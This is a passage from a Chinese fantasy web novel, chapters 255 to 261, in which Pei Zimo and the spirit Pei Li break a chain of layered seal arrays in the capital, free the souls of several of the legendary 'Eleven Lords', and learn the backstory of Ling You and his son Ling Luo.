“如果这十处每一处都镇压着一个魂魄,从我和神傀公的情况来开,另外那八处镇压的魂魄也不是一般人,你贸然前去,可能会有危险。” 裴子墨知道她不让她去肯定有理由,当时她估计是知道可能有危险,但是她刚知道凌幽的事,心里多少可能被影响着有点乱,就直接先阻止了她,“那这是什么阵法?为什么要镇压这些魂魄?” “我也不知道这是什么阵法。”裴黎拧着眉,“不过如果能把另外八处的魂魄找到,也许能清楚一些,说不定有人在被镇压之前知道什么。” 顿了顿,她的目光移向远处,扫到了白锦夜的身影,“他也是神冥公的后人?” 裴黎见过锦成,裴子墨又告诉了她锦成是神冥公的后人。 白锦夜和锦成几乎长得一样,她自然会有这样的推测。 裴子墨点了点头,“他和那个睡在镇压你的阵法上面的那个人,是双生子。之前有人跟我说,神冥公一族游走阴阳两界,寿命一般都很短,除非炼制成冥尸,让他们能不再受阴气的侵蚀,才能好好的活下来。” “冥尸……”裴黎微微眯了眯眼,“怪不得他身上的气息……”说到这,她也没有再说下去,只是问,“这炼制冥尸的法子,是谁教给你的?” “在北冥国,有一片湖水,被称为圣湖,通过圣湖水,能把人炼成肉尸,不过肉尸没有思想,而且外貌恐怖。当初确实有人建议我,来改进炼制之法,也提供了不少药材和阵法符咒。”裴子墨说着顿了下,才继续道,“那个人叫凌珞,也是神冥公的后人,大概至少活了几百岁,外貌也不见老,我怀疑……他也是被人炼制的冥尸。” “是么?”裴黎皱起眉头。 裴子墨轻咳了一声,才又问,“你当初和凌幽在一起的时候,他既然隐瞒了自己的身份,应该也没有说过关于神冥公一族的事情吧?神冥公的传承,和圣女一样,全都断了,就像是密室里的锦成,如今和常人无异。白锦夜他虽然能开冥路、甚至打开黄泉路,可也都是只能靠自己摸索。” “他确实没跟我说过什么。”裴黎说着站起身,“再说,这种家族传承的事,就算他跟我说,我也不见得会懂。你去吧,他已经等你很久了,我也憋了太久,出去转转。”说完她的身影就迅速的朝远处掠去。 见裴黎离开,裴子墨也就从房顶上跳了下来,走向白锦夜,“你怎么还没睡?” “睡了一会,但是不踏实,就想过来看看你。”白锦夜说着微微抿了抿唇,“我总是害怕,闭上眼,再睁开眼,这一切都是一场梦。” “怎么会?”裴子墨笑了笑,犹豫了下,抬手拉住他的手,转身指了指房顶上,“今天晚上的月亮还不错,一起去看一会?” “好。”白锦夜点点头,跟着裴子墨一起上了房顶坐下来。 “看样子,我们圣女一脉跟神冥公一族,渊源还挺深的。”裴子墨轻声道。 “但我可不希望我们像他们一样。”白锦夜顿了会又补充,“只是一个误会,却误会了上千年。” 裴子墨笑了笑,“但我感觉,凌幽如果知道裴黎一直都没有死,要么他死后会在地府一直等她,要么……他也可能根本就没死。如果他也成了冥尸呢?他就可以活下来,这些年,说不定在哪里,一直等着裴黎。” 第256章 又是个熟人呢 裴子墨不知道裴黎是什么时候回来的,她的术法比她高出太多,她感受不到她的气息。 但第二天一早,裴黎就告诉她,她已经去查看过几处阵法。 这阵法类似于明生暗死的局,都是一个阵法下面压着另外一个阵法。 两个阵法之间的气息相反,靠第一个阵法隐藏住第二个阵法,上面的阵法看起来能解决,可一旦解决,就会立刻触发第二个阵法。 如果这几处阵法全都解决之后,剩下的十个阵法连在一起,就是九星灭仙阵。 所以还好当时裴子墨因为时间不足,有些只是镇压,没有把所有的阵法解决。 不然如果宫外的九处阵法都解决,只有裴黎的那处阵法没有解决的话,那这九处阵法就会变成针对裴黎的杀局。 说到这,裴黎微微眯起眼睛,“到底是谁想要杀我?可他既然能搞出这么大的阵法,又在我神不知鬼不觉的时候,用阵法困住我,应该明明有能力直接让我魂飞魄散的。他偏偏搞了这么大一圈,费劲儿不说,还有可能不成功,何必呢?” 裴子墨闻言更是后怕,这事让她差点害死了无数的无辜百姓,但是在这之外,怕是有人布了更大的局。 半响,裴黎回过神来,“算了,眼下先把这阵法解决掉,对你来说,也算是一种历练。这阵法最难之处,就在于这‘九星’里镇压的魂魄,魂魄强度和术法深浅几乎是一致的,这其中一个我们已经见过了,是神傀公,也就是说,剩下的八个,都和他没什么区别。” 裴子墨微微瞪大了眼睛,“那是不是……剩下的八个,也很可能都是‘十一公’中的某一个?” “可以这样说。”裴黎说着转头看向窗外,眼底闪过一丝不易察觉的担忧。 当年那场黑暗之后,“十一公”里绝大部分人都消失了,有人抓走了他们也说不定。 也许只有两个人幸免。 但也有可能根本就没人幸免,那两个人的魂魄,也许被安排到别的地方去了。 凌幽也很可能在这中间。 她无声地叹了口气。 裴子墨垂下眼,之前裴黎说过,黑暗之后,她回过一次北冥国,跟当时的北冥国国君见过,也就是说那时北冥国国君已经不是凌幽了。 那么……凌幽其实很可能也出事了。 她轻轻握了握拳,知趣的没有提这个话题,“那我们就先去解决已经解决的那几处阵法,镇压的这几处放在最后来解决。” “嗯。”裴黎应了一声,顿了顿,她又道,“其他人就不必带着了。” 裴子墨点点头,有些事毕竟也涉及到圣女一族的秘密,况且多带一个人去,就多一分危险。 京城之中出了这样的事,也有很多事情需要处理,白砺寒不在京中,很多事也需要白锦夜来解决。 白锦夜这一次回来,也并没有再隐藏自己的身份,如今在京中,他的官位已经是最高,有他出面,原本几乎乱做一团的京城立刻变得井然有序起来。 他也没有刻意解释自己“死而复生”的事,但是百姓之中已经有各种各样的版本。 一种是说当初他根本就没死,只是在战场上受了伤失踪,被人救了,现在伤好回来。这种说法编的有模有样,甚至有人说见到他和一个漂亮女子在一起,一定是被那个女子救了,两个人因此生情,他带着那女子回京成亲。 还有一种就是说他位高权重,被皇上猜忌,不得已才诈死逃离。可是如今见到京城有难,没办法再置之不理,所以回来为大家主持公道。 更玄乎的说法就是他已经成仙了,这次回来,是救大家于水火之中,也是在给自己积累功德,之后还要返回仙界的。 裴子墨在去梅府的一路上,都在听这些百姓口口相传,说的有鼻子有眼的,她都快信了。 梅训庭身为卫戍大营的指挥使,皇上离京,他自然要帅卫戍大营护驾。 他本身就要走,也没有理由不带上家眷。 裴子墨在门口象征性地敲了下门,等了半响,果然没人来应门,于是就放心的跃上墙头,跳进了梅府。 梅府的阵法,是一幅画。 梅训庭虽然是武将,可他爹却是个文人,并且从梅训庭小时开始培养他的笔墨书画,他虽然在这件事上没什么建树,可是却遗传了他爹喜爱收集字画的癖好。 那幅画,听说便是受当年那个人的指点,买来放在书房,以来保佑他仕途平稳,家宅安宁的。 当时裴子墨控制白锦夜来处理的时候,是发现了那幅画的卷轴有问题,也在卷轴中发现了刻有阵法的槐树枝。 槐树本来就招鬼,上面刻了阵法,是吸鬼、吸怨气等等,但又有阵法镇压着这些。 等到一定饱和程度的时候,阵法镇压不住,那以往吸进来的怨气、鬼魂精怪都会出来作祟。 那节槐树枝相对比较好处理,把吸鬼的那些阵法磨掉,再用符纸包裹,已经一把火烧了。 槐树枝拿走,第二层阵法肯定已经触发了,只是不知道那个魂魄出来之后,是不是还停留在梅府。 不过不管怎么样,它既然是从那画上出来的,总能从画上找到蛛丝马迹。 进了书房,裴子墨指着墙上挂在最显眼处的那副画开口道,“就是这副了。” 裴黎走过去,对着那幅画仔细地查看了半响,“这画上已经没有魂魄的气息了,看样子它已经离开了,不过……应该能知道这个人是谁。” 她说着手挥了挥,那画就自己飘起来,落在了书桌上。 裴黎弯腰看了看,笑道,“你看这画有什么异常。” 裴子墨也认真地看了会,“这画有夹层?” 裴黎点点头。 裴子墨也就动手拆了画,露出夹层。 夹层里面也是一幅画,这幅画可不像外面那副花鸟图那么和谐,是一片火海。 在火海中间,有一小处人影的空白,裴子墨拧着眉,“他把这魂魄封印在火海之中……这岂不是让这魂魄日夜受火烧之刑?” 裴黎点点头,抬手抚上那小片空白,感受了会,开了口,“又是个熟人呢。” 第257章 不然留着是用来看的么? 见裴黎已经感受到对方的气息,也辨认出对方的身份,裴子墨便放下心来,这样找起来应该会更快些了。 可裴黎却并不想直接告诉裴子墨,她把手拿开,看向裴子墨,“你来感受下,感受到他的气息之后,我们就可以按照这个气息去追踪了。” 裴子墨之前丝毫都没有感受到这里有什么气息,但裴黎这样说,显然是为了锻炼她,她也就从善如流的抬手抚上那片空白。 乍放上去,确实什么都感受不到。 但裴黎也不着急,就在这书房里四处看着,偶尔拿起一本书来看看。 裴子墨修习术法也不是一日两日,知道这事不能急,对方的修为比她高,她本身就很难感受到对方的气息,可裴黎既然让她这么做,就是一定能通过什么办法来感受到这丝气息的。 她闭上眼,在椅子上坐下,思考着对策。 时间一分一秒地过去,就连外面的天都渐渐地黑了下来。 裴子墨才终于睁开眼睛。 见她有了反应,裴黎才看过去,“感受到了?” “嗯。”裴子墨点点头,隔了会才道,“但是我应该是借助了血莲的力量。” 裴黎笑了笑,也不意外,“是啊,不然这东西留着是用来看的么?” 裴子墨有点不太明白,“但是我身体里的血莲,还没开始温养。以前我是从来感受不到它的存在的,也是因为我之前在裴清歌的身上养过血莲,感受过它的力量,所以才能调动起来。” “血莲能养,证明你本身的血脉就已经很特殊了,血莲是长在这血脉上的,就算它还只是一颗种子,可血脉却是早就有的。”裴黎说着一挥手,桌上的画作恢复了原样,又重新挂回了墙上,她又看向裴子墨,“既然有血莲,就早点开始养的,对你有好处。” 裴子墨抬手摸了摸肩膀,微微抿了下唇,没有说话。 裴黎对这件事倒是也没有强求,“走吧,按照气息,我们去找找他。” 说着话,两个人一起向外面看去,是有人来了。 裴子墨拧了下眉,迅速的从一边的窗子离开,对方的气息很熟悉,她是见过的,便是当初在月城一起对抗枯尸的梅君武。 没想到这梅府上下跟萧府倒是有几丝相似,还是有个人没有泯灭良知,愿意留下为百姓奔波。 离开梅府,裴子墨拿出一张空白的符纸,在上面写了追踪气息的符咒。 裴黎看着她的笔画,轻轻笑了笑,“太麻烦了。”她说着在地上写画了几笔,一道简单的符咒就完成了,“你得记住,虽然我们提前能写很多符咒做准备,但是真正遇到什么事的时候,不见得准备的符咒都够用,急需现写的时候,符咒当然是越简单越好,太复杂的符咒,还没写完,人就死了。” 裴子墨看着她写的符咒,简简单单,几笔而已。她把手里的符咒收起来,又拿了张空白的符纸,对着裴黎的符咒临摹了几遍,便也算是写的有模有样了。 她刚才写的那道符咒,跟这道相比,看起来就是在这道的框架上,添了不少东西,倒是有些画蛇添足的意味了。 这种事情举一反三,裴黎也不可能把所有的符咒都给她重新写一遍,但是剩下的符咒,大概都能和这道一样,起码减掉三分之二没用的笔画。 见她写明白了,裴黎才开口道,“我认识这个人的时候,他性子温和,待人和善,从来不与人争。大概也就是因为他这样的性子,对方才会把他的魂魄一直放在烈火之中焚烧。一个人性子再好,但是久经磨难,也难免产生怨气,所以也还是要多加小心。” 裴子墨拧着眉,“所以做这件事的这个人,就是想要把这些魂魄都养成怨气丛生的怨魂。”她轻轻地叹了口气,把手里的符咒扔出去。 符咒无风自动,往一个方向飘去。 裴子墨也赶紧跟上。 一路跟到了城外,裴子墨微顿了下,才道,“这个地方我之前来过。”她说着抬手指着面前的破庙,“我在那里设过一个阵法。” “怪不得。”裴黎笑了笑,“人就在破庙里,走吧。” 走到破庙门口,裴子墨便见到漆黑的破庙里面,隐隐的有个模糊的影子。 那影子直直地站在那,像是在思考什么。 蓦地,他感受到了什么,转头向破庙外面看来。 他和裴黎两个人对视了半响后,才慢慢地走出来。 裴子墨仔细地打量着他,却并没有在他身上看到一丝怨气,便微微地放下心。 “是你?”他看着裴黎思索了会才问,“你怎么会在这里?你也被困住了?” “算是吧。”裴黎点点头,“你从困阵里出来,就来了这?” “嗯。”他应了一声,“如今术法已经没落至此,这偌大的城里,就仅有这几处小小的阵法,哎,其他几处阵法,我看着熟悉,是出自我神阵公一脉,即便有些变化,但也还能见其根本,只不过这一处……困阵,有点意思。” 裴子墨往他身后看了看,这确实是她当时设下的独活阵,后来袁澈把裴姝带走,但这阵法还在,于是便开口把这阵法大概说了下。 “这么说,这阵法是你自创的?”神阵公看向裴子墨。 裴子墨点点头。 神阵公看着她皱起眉头,“也不知距我离开过了多少年,那我神阵公一脉的后人现在如何,你可知道?” 裴子墨也只是在月城外的山上见过那个自称是神阵公后人的老和尚,就把那老和尚的事转述了一遍。 “哦?”神阵公挑了下眉,脸上带着欣慰,“如今还有人守着这阵法,甚好,甚好!” “但是有几处的长明灯已经灭了。”裴子墨又道,“那附近的瘟神蜮已经出来,不知道对后续有没有什么影响。” 神阵公点了点头,“回头我……”他正想说等回头他亲自去看看的时候,又想到了什么,轻轻地叹了口气,停下了这句话,看向裴黎,“有点事,我想单独跟你说说。” 裴黎点点头。 裴子墨见状便立刻退开,留下两个人交谈。 这神阵公虽然被烈火焚烧魂魄多年,可是身上一丝怨气都没有,想必是个心胸极其宽广的人,况且裴黎术法不低,她没必要担心。 神阵公既然这样说,那大概是知道些什么,甚至可能牵扯到什么秘密,才会想要和裴黎私下说。 虽然之后裴黎大概率也会告诉她,但是如果她在,恐怕神阵公有些话就不会说了。 两个人大概说了约摸半个时辰,裴黎才招了招手,示意裴子墨过去。 第258章 凌幽的儿子是谁 “你把去找那个看守长明灯的和尚的地图画下来给他。”裴黎开口道,“虽然他知道大概位置,但是千八百年过去,沧海桑田,要找也不容易了。” 既然是神阵公的后人,虽然人已死长明灯已灭,但是神阵公要去看,都是情理之中,裴子墨画了地图,又以符咒引了路。 神阵公谢过她之后,才看向裴黎,“这件事情,到处都透着蹊跷,你也要万分小心才是。等我去查看这处长明灯之后,若是得闲,便回来看看有没有能帮得上。“ 裴黎点点头,顿了顿才道,“你自己也小心,再被人抓走了,可不知道还有没有这么好的运气了。” 神阵公轻轻叹了口气,又看向裴子墨,“你说还有另外几处长明灯在十几年前也熄灭了,你知道位置么?” 裴子墨犹豫了下,“另外几处,我也是听人说的,是哪个城池我知道,但是长明灯在哪我不知道。”她说着把西夜国的那几处城池的位置画下来,又补充道,“不过那个人的话,不见得可信。” “去看看就知道了。”神阵公说完,对着裴黎点头示意了下,就跟着符纸离开了。 等他消失不见,裴黎才对着裴子墨道,“他说当年神傀公在得知凌幽只是借他妹妹肚子里的孩子,来让自己的孩子出生以后,和凌幽就闹翻了。再后来神傀公兄妹失踪,大家就都怀疑是凌幽动的手脚。” “于是神傀公一脉,以及几个跟他们那一脉交好的,就经常去找凌幽的麻烦。那时凌幽的儿子……” 说到这,裴黎微微顿了顿,但最终暂时也还是没有承认那个孩子是自己的。 “凌幽的儿子已经成亲,正在养着那朵并非血莲的莲花,他们这些人几次寻人无果,就抓走了那个女子。他儿子就让凌幽说出神傀公的下落,或者去救人。凌幽确实不知道神傀公在哪,但人肯定是要救的。” “结果在救人的时候,出了差池,那女子死了。凌幽的儿子不想让那女子入轮回,想要复活她,可她的魂魄受损,需要温养,他不知道听谁说了华精玉的事,就找凌幽要华精玉。” “那时……凌幽自己大概也是陷入了矛盾,他觉得神傀公兄妹失踪,就算跟他没有直接关系,但是也是他一意孤行导致,当年是他非要复生自己的儿子,才会导致今天的局面。他开始觉得人不能太逆天而行,所以就拒绝把华精玉给出来,也是因此父子反目成仇。” “之后凌幽也失踪了,跟他一起失踪的,还有华精玉。但是他的儿子……却一直在想办法让那个女子复生,主意就打到了血莲的身上。他也许是找到了什么秘法,也许只是自己在随意的尝试,总之……那段时间,圣女一族失踪了不少人,后来确实出现了一个毫无神智的怪物。” “其实……应该是他杀了那个圣女,又把她复生了,中间不知道出了什么差错,才会让她神智尽失,嗜血嗜杀。捅了这么大篓子,最后还是几个族长合力镇压了这个圣女。” “原来是这样。”裴子墨点点头,这就也跟萧公瑾说的对上了,只不过并不是因为血莲。 裴黎说着轻轻叹了一口气,“当时几个族长,都已经算是他的长辈了,凌幽不在,他们自然要管束他,可他又怎么会服气他们的管束?于是几次争吵之后,十一个家族之间,就算是彻底的分崩离析了。” “有些人不愿意留下,就带着家族里的人,寻找其他地方隐世去了。神阵公一族便也是其中一支,他带着家人离开,本来是想找个地方安顿之后,就按照老祖宗留下的当年镇压瘟神蜮的阵法图纸,去找到这些阵法,一一检查加固。” “去了几处之后,他觉得这样太浪费时间,于是就给家族里每个人分配了几处,各自去查看。但是这图纸毕竟机密,所以那些人只有自己查看的那几处的位置,是没有完整的图纸的。完整的图纸,只在他自己的身上。” “他只是万万没想到,在他加固一处长明灯之后,就被人偷袭,他说自己甚至连反击的能力都没有,就陷入了一片黑暗之中。再有意识,就是被封印在火海里,日夜受灼烧之苦。这些年,他都想不明白,到底是谁要这样做,他甚至都怀疑过是不是凌幽。” “不过他也没有过多的心思放在这事上,他更担心他死后那张图纸落在外人手里。对方若是不知道这是什么,当做一张废纸扔掉还好,可对方若是有心利用这阵法,放出所有的瘟神蜮,那就是他最大的罪过了。” “好在刚才听你说,只是有几处瘟神蜮被破了,大部分都没事,他也就心急地想要去看看。” “那长明灯灭了,他还有办法再点燃么?”裴子墨开口问道。 “既然是他们那一族的阵法,应该是有办法的。”裴黎点了点头,“只不过大概没有流传下来,所以他的后人也只是守着这阵法,灭了也没办法再点燃。” “那就好。”裴子墨点点头,“之前我答应那老和尚,要把瘟神蜮的事情解决,但一直都分不开身,如果有神阵公自己去做,我也可以放下这件事了。” 裴黎笑着看向裴子墨,“你把全部的瘟神蜮都解决?别说是你,就连我都不可能。如果那些瘟神蜮都能解决,第一任神冥公就不会大费周章设下如此大的阵法来镇压,并且让自己的后代时刻加固守护这阵法了。” 裴子墨有些诧异地看着裴黎,“这样么?” “是啊。”裴黎点点头,“这世间有平衡之法,那瘟神蜮就算不镇压,也是隔很多年才爆发一次,就像是对人世间的一次清洗,若有侥幸存活的人,再继续繁衍生息,可过些年,再来一次清洗。” 裴子墨微微抿了下唇,“是我想当然了,我还以为这瘟神蜮是人为的。” 裴黎摇了摇头,“当然不是人为的。” 裴子墨沉默了会,想到了什么,隐约的又有些猜测,便开口问道,“凌幽……他的儿子叫什么?” 裴黎眯眼看着前方,“你见过他——凌珞。” 第259章 北冥国和琼华山 裴子墨在听到裴黎的回答之前,其实隐隐地已经猜到了。 既然根本没有那个什么需要华精玉来唤醒神智的血莲,而且华精玉的作用只是温养魂魄,而凌珞又想要华精玉,就证明他需要华精玉来温养魂魄。 但是大概当年的事情影响太大,所以他后来可能编造了一个故事,让大家以为找到这华精玉其实是为了血莲。 也就是说,这么多年,凌珞都还是没有放弃让那个女子复生。 裴黎轻轻地叹了一口气,隔了会才说,“华精玉虽然可以温养魂魄,但是……这魂魄毕竟本身就不是完好无损的,难免……会导致有哪方便的问题,也不知道凌珞现在到底是什么情况。” 裴子墨抿起唇,凌珞已经找了华精玉这么多年,为了华精玉付出了这么多心血,如此一来,更不可能轻易的放弃了。 “不过之前还有说法,说神冥公一脉,分成了两拨人,有一波人带着华精玉失踪了。另外一些人留在了北冥国。如果当年离开的只是凌幽一个人,那这个说法也是错误的了。”裴子墨想了想道。 裴黎摇了摇头,“也不能说是凌幽一个人,当时凌珞和那个女子已经有了两个孩子,年纪大的可以照顾自己了,但是还有个小的在襁褓之中,凌珞已经无心照顾孩子,整日想着复生的事,所以凌幽走的时候,带上了那个小儿子。” “这样的话,留在北冥国,成了国君的那一支,就是凌珞的大儿子和他的后代。凌幽带走的,留在琼华山上的,就是凌珞的小儿子了。”裴子墨继续道,“所以琼华山上的禁制才都是针对凌珞的,是因为凌幽不想让他找过来。” 裴黎微微抿了抿唇,“你去琼华山的时候,那里已经没有别人了?” 裴子墨点点头,“当时那里的房子都空了,因为凌珞让我找华精玉,我虽然没打算真的把这东西给他,但是起码我也要先确认它在哪。可那边的房子都是空的,我和白锦夜找过了每一间,都没找到任何一样东西。” “深渊下面呢?”裴黎又问。 “那下面……”裴子墨怔了下,“当时我们不知道那下面是什么,没想过下去的事。” 裴黎转头看了她一眼,没说话。 “但是那深渊下面,好像有很大的吸力。锦成不小心掉下去的时候,我们好多人都没办法把他拉上来,最后还是白锦夜把他弄上来的。”裴子墨又道。 “我想,凌幽大概想过毁掉华精玉,可华精玉是从地府来的,根本没办法毁掉。那深渊说不定就是因此形成的。华精玉应该在深渊里,过了这么多年,华精玉说不定已经把深渊周围同化成了类似于地府的情形,所以那深渊才必须用黄泉路才能通过。”裴黎说着顿了顿,“所以那确实应该不是一般人能下去的,毕竟能从地府拿出华精玉的,也就只有第一任神冥公而已。” “那如果凌珞知道不可能再拿到华精玉了,他会不会……”裴子墨没有继续往下说,当年凌珞就疯过一次,这么多年,都是华精玉支撑着他理智地活下来,可如果这唯一的指望也没有了,谁知道他还会做出什么疯狂事来? 他只是去不了琼华山而已,这世上其他的任何一个地方,他可都是可以畅通无阻的。 他活了这么多年,钻研术法,这世上恐怕没人是他的对手了。 除非…… 裴子墨看向裴黎,然而归根到底,凌珞多少也算是裴黎的孩子。 裴黎沉默了会,没再说这件事,只是说,“先回去休息吧,明天去解决下一处阵法。”说完人就回了锁魂玉笛里。 裴子墨也只好先回府。 她回来的虽然已经很晚了,可白锦夜却也还是没有回来,看样子他只会更忙。 第三个、第四个、第五个阵法,解决得都算是容易,裴黎基本上都是不插手,只是从旁指点,这三个阵法出来的魂魄,都是裴黎那个年代的“十一公”中的某一个,这些人也都和裴黎相识的。 有的人身上已经生了怨气,但好在这些人本身术法高深,也算是仇恨分明,不会像是神傀公一样为祸人间。 这些怨气也都在裴黎的指点下,被裴子墨一一化去。 他们当年的死都很突然,没能交代后事,又被困这么多年,很挂念自己一脉的族人,可是裴子墨接触过的,明确身份的,也就是有神阵公那一脉,剩下的这些人的后人在哪,她确实也不知道。 这些人也都没有停留,把自己当年知道的事情大概说了下,和神阵公说的基本别无二样,之后他们就都离开去寻找自己的后代了。 “下一个……”裴子墨微微皱了下眉头,“是在衡王白玉衡的府上了,不过好在他也随皇上离开盛京,现在府里应该没什么人。” 只是刚走到门口,就见到榆北一脸焦急地回来,“裴姑娘,主子着属下回来跟你说下,皇上已经带着所有人回京了,这几天街上应该都会戒严,之前空了的府邸也都会有人了,让你出去的时候小心些。” 裴子墨拧起眉,“回来得这么快?” “是啊。”榆北无奈地摊了摊手,“当初京中有事,跑得也快啊。现在听说京中的事被王爷解决了,这不就火急火燎的回来了么?” 他本来就是白锦夜的人,跟着白锦夜已经得罪很多人了,所以自然没必要再害怕说话得罪什么人了。 裴子墨犹豫了下,“知道了,我会注意的。”说完也还是出了门,往衡王府走。 如今白砺寒他们才刚回京,肯定在因为白锦夜的事头疼,白玉衡估摸着也是跟白砺寒在一起,她最好就是趁现在赶紧去衡王府,再晚点,衡王府的人只会更多。 到了衡王府外,果然见到下人在陆陆续续的往府里搬东西。 裴子墨绕到王府后院,从院墙上跳了进去。 衡王府的阵法在佛堂里,她可不认为衡王府的人这么虔诚,才刚一回来就去佛堂上香,趁这个当口赶紧解决,也省得跟衡王府的人照面。 第260章 有一个人自己逃脱了 进了佛堂,裴子墨走到佛龛旁边,把佛龛微微移动了下。 在佛龛的后面,有一个很隐蔽的暗门,把暗门横着移开,里面是一块浸了血的红布,她拽下红布,转头看向旁边的裴黎,“这道阵法刻在佛龛上,听说这佛龛是天风国先皇在世时赏赐下来的,以我当时的术法,若是破这阵法,必然会损坏佛龛。” “佛龛一旦损坏,就会有人核查追究,当时时间短促,再加上不愿意和白玉衡有太多的交集,就暂时以浸血红布镇压,没有破除。” “现在这个阵法破解,应该也不算难。”裴子墨说着就要动手。 “等一下。”裴黎直接制止,她眯着眼仔细地看了这阵法半响,“这表面上的阵法没破,可是下面一层的阵法,却已经破了。” “嗯?”裴子墨不解,以她的能力,本来就一直没办法感受到下层阵法,但裴黎这么说,也总归不会骗她。 裴黎用手轻轻一抹,刻在佛龛上的阵法就不见了。 这层阵法消失之后,木板上便出现一个小小的凹槽,凹槽里面有一卷黄色的纸。 裴黎示意裴子墨把这黄纸拿出来。 她点点头,黄纸用一根红绳系着,她把纸卷拿出来,正打算解开红绳,可是手指刚碰到红绳,红绳就化成了一滩齑粉落在地上。 她看了一眼裴黎,才打开黄纸,黄纸里面隐隐地还能看见写过符咒的痕迹,但是那痕迹已经褪去,显然这里面禁锢的魂魄也因此离开了。 裴黎皱起眉头,低声道,“他们里有人能自己摆脱这符咒么?” 显然这是不可能的,如果这个人能摆脱这符咒,其他人自然也有可能,不会被镇压那么多年。 她抬手抚了抚黄纸,这黄纸上也没有留下任何魂魄的气息。 “难道是神术公么?”裴黎又低声道。 “神术公?”裴子墨看着她。 “据说天下术法尽出自神术公一家,虽然众人学会之后,各自有各自的领悟和改进,但神术公毕竟是天下术法之源,有人虽然有符咒禁锢住了神术公,他可能一开始被困,但是时间久了,难保不会被他想到破解之法。”裴黎说着向门外看去,“但是在外面我也没有感受到他的灵魂气息,他说不定早就脱困了,这些年不知道去了哪了。” “其他人脱困后,都惦记着自己的后辈,神术公会不会也去找自己的后辈?”裴子墨说着微微皱了下眉,“如果他找到自己的后辈,会不会得知其他人也遇难了?那他为什么没有想着破开其他的阵法,救其他人出来呢?” 裴黎微微摇了摇头,隔了会才说,“他没有去破其他的阵,不是刚好么?” “倒也是。”裴子墨点点头,如果神术公一出来就把其他的阵法也都解决了,那她也不会再见到裴黎了。 “走吧,先去下一处吧。”裴黎开口道。 下一处的位置,一点都不陌生,正是在肃亲王府。 当时设局让白锦夜刺杀白砺寒之后,裴子墨就再也没有回过肃亲王府。 这里也是白锦夜在京城之中唯一没有变卖的一处宅子,如今里面还住着不少以前王府的老人。 不过九思院到底是白锦夜的住处,所以除了日常有人来打扫外,平时也是没有人来的。 到了院子里,裴子墨指着原来影壁墙的位置开口道,“这里原来是一面影壁墙,我刚到这里那会,看出来这里的影壁墙是用一整块巨大的夜魔石做的,在这里制造了一个魔动阵,那时候就把这影壁墙给砸了。” “很多年前,有一个人来京城,他当时大概是为了加固这些阵法,所以应邀去过有这些阵法的地方。拿到那个名单之后,我让白锦夜挨家去查看过,但是其中有一家是没有阵法的。一开始我也没想明白,那个人去那一家大概就是走了一圈,什么都没做。” “后来我想到了这个魔动阵,而且那时萧公瑾跟我说过,他以前见过白锦夜的身上阴气太重,所以就在这院子里摆了个可以聚集阳气的阵法。当时这件事我没有再问,但是联系起来看,说不定当时那个人没有机会来肃亲王府,又或者是为了障眼法,所以这个地方的阵法,其实是让萧公瑾帮忙加固了。” “只不过他没有跟萧公瑾说实话,所以萧公瑾也不清楚这件事。在北冥国,如今都很难见到那么大的夜魔石,有人能把那么大夜魔石运到这里来,更不是件容易的事。” 裴子墨说着轻轻叹了一口气,“可是距离魔动阵被破,已经过去一年多了,这第二层阵法里镇压的魂魄,估计也是早就离开了。” 裴黎绕着原来影壁墙的位置走了几圈,停了下来,开口问道,“那夜魔石呢?” “当时我让人敲碎了影壁墙,夜魔石暴晒几天之后,送到了我那边,只不过那些夜魔石已经没了什么作用,我也就没再处理。”裴子墨开口道。 “去看看。”裴黎道。 裴子墨点点头,带着她往梧桐院走。 到了梧桐院门口,她愣了下,本来梧桐院虽然不算是破破烂烂吧,但是和这整个王府相比,也是格格不入。 但不知道什么时候,已经被人修葺过了。 这崭新的模样让她还以为自己走错了。 又辨认了下方位,才确认没错,“糟了,这里翻新过了,也不知道那些碎石还在不在。”她说着进了门,走到柴房门口,推开门,见到角落里堆着的碎石,才松了一口气。 裴黎没说话,走了过去,一块块地看着夜魔石碎块。 裴子墨帮不上忙,犹豫了一下,便在院子里转了起来。 这里虽然翻修过,但是基本上都保持着以前的模样,尤其是她的房间,所有的东西都没有动过。 只是桌上多了个妆奁。 她微微抿了抿唇,走了过去,打开妆奁的盖子,里面放了不少饰品,她看了几样,便听到裴黎在叫她。 她随手收了一根玉簪在怀里,转身出了房间,往柴房走。 进了柴房的时候,便见到碎石堆已经全都铺散开,在碎石堆之上,站着一个年轻的男子。 第261章 神术公和神目公 裴子墨在门口停下了脚步,之前见的那几个,都是中年男子往上的年纪了,只有眼前的这个,看着年纪还不算太大。 裴黎手上掂着一块夜魔石,见裴子墨进来,便把石头扔给她看。 这块夜魔石并不像是碎石,边缘整整齐齐,更像是本身就是一块独立的石头,被封在那整块夜魔石之中,所以就算是她破了魔动阵,这块石头上的阵法只要没被破,那阵法就依然还在。 当时那会她刚来肃亲王府,跟白锦夜之间的关系不好,她对王府的事情,基本上算是睁一只眼闭一只眼,只要阵法不再害人,她确实也就没有过多的查看。 所以这夜魔石的碎石一开始其实在九思院放了不少日子,后来还是左辞提起,她就随口说了句送到她的院子里来就行。 之后这些碎石也就一直堆在柴房里,她也没再看过。 裴黎把眼下的情况简单地跟面前的男子说了一遍。 男子的第一反应自然也是询问自己一脉的事情。 裴子墨闻言挑了挑眉,“你才是神术公?那……”那也就是说白玉衡府上的并不是神术公,她说着转头看向裴黎,却只见裴黎微微摇了摇头,她没有再继续问下去。 这个神术公的脾气看起来也不太好,自己被镇压多年,如今也没有自己一脉族人的消息,暴怒之下把碎石掀得到处都是,就连柴房都摇摇欲坠快要坍塌了。 裴黎抬手制止他,“还和当年一样,控制不住自己的脾气,有能耐就找到做这件事的人去报仇,不然在这耍什么横?” 神术公闻言,手上的动作停止了下来,可却依旧怒气冲冲,“当年我们家那老爷子非要心怀苍生把所有的术法都传于世,这世上本就人心难测,若是良善的人学了术法是对世人有益,那心怀不轨之人呢?他倒好,做了好人,把术法传播开来,结果却是让我们这一代人被困这么多年,后代凋零!” “如今神术公一脉的术法,恐怕自己的后代都没几人能全部学会了!” “这是什么世道?” 他咆哮了半响,最后才看向裴黎问道,“那人是谁?你可有眉目了?” 裴黎摇了摇头,“那你又记不记得,自己是如何被关到这里的?” 神术公眯起眼,想了半天才道,“当时大家都商量着各自离开隐世,并且已经有人率先离开。但是我因为跟神目公有婚约在身,所以便去找她,和她商量这件事。” “神目公是个女的?”裴子墨有些诧异。 “嗯。”裴黎点点头,“神目公是‘十一公’里唯一一个女子,他们家除了能看出各族之人血脉以外,还可以制造幻想,但是这制造幻想之术,只有女子才能学会,所以传女不传男,继任神目公位置的,也就都是女子了。” “这么说……萧家是神目公一脉的传人了。”裴子墨微微皱起眉头。 “你见过她家的后人?”神术公开口问道。 